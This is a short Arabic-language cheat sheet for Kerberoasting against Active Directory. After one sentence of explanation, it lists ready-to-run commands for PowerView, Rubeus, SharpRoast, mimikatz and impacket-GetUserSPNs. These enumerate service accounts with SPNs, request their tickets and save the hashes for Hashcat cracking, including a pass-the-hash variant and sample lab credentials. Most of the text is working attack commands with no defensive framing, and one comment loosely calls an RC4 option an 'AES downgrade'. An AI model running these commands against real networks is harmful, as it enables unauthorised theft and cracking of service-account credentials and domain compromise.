الـ Kerberoasting هو هجوم يستهدف الـ Service Accounts التي لها SPN (اسم خدمة). المهاجم يطلب TGS ticket للخدمة ثم يكسر الهاش offline بدون الحاجة لصلاحيات عالية.
Import-Module .\PowerView.ps1
# إيجاد الحسابات القابلة
Get-DomainUser -SPN
# تطبيق الهجوم وحفظ الهاشات
Invoke-Kerberoast -OutputFormat Hashcat | Select-Object Hash | Out-File -FilePath hashes.txt -Encoding ascii
# كل الحسابات
Rubeus.exe kerberoast /outfile:hashes.txt /format:hashcat
# حساب معين
Rubeus.exe kerberoast /user:svc_sql /outfile:hashes.txt /format:hashcat
# AES downgrade (أقوى)
Rubeus.exe kerberoast /outfile:hashes.txt /rc4opsec
SharpRoast.exe all
SharpRoast.exe <SPN>
kerberos::list /export
# ثم كسر الـ tickets
# عرض الحسابات فقط
impacket-GetUserSPNs ignite.local/aarti:Password@1 -dc-ip 192.168.1.48
# طلب الهاشات
impacket-GetUserSPNs ignite.local/aarti:Password@1 -dc-ip 192.168.1.48 -request
# حفظ في ملف
impacket-GetUserSPNs ignite.local/aarti:Password@1 -dc-ip 192.168.1.48 -request -outputfile hashes.txt
# باستخدام hash
impacket-GetUserSPNs ignite.local/aarti -dc-ip 192.168.1.48 -hashes :NTLM_HASH -request